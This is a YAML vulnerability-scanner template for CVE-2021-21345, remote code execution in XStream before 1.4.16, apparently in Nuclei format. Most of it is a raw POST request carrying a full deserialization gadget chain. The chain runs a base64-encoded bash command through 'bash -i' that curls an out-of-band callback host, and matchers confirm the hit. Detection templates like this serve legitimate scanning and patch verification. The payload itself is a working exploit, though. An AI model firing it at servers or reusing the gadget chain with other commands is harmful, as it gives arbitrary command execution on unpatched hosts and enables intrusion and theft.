id: CVE-2021-21345

info:
  name: XStream <1.4.16  - Remote Code Execution
  author: pwnhxl
  severity: critical
  description: |
    XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  reference:
    - https://x-stream.github.io/CVE-2021-21345.html
    - http://x-stream.github.io/changes.html#1.4.16
    - https://github.com/x-stream/xstream/security/advisories/GHSA-hwpc-8xqv-jvj4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21345
  remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21345
    cwe-id: CWE-78
    epss-score: 0.46618
  tags: cve,cve2021,xstream,deserialization,rce,oast

variables:
  rand: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                                  <name>verify</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                          <activationCmd>/bin/bash -c {echo,{{base64("curl http://{{interactsh-url}} -H \'User-Agent: {{rand}}\'")}}}|{base64,-d}|{bash,-i}</activationCmd>
                        </jaxbObject>
                      </dataSource>
                    </message>
                    <satellites/>
                    <invocationProperties/>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{rand}}"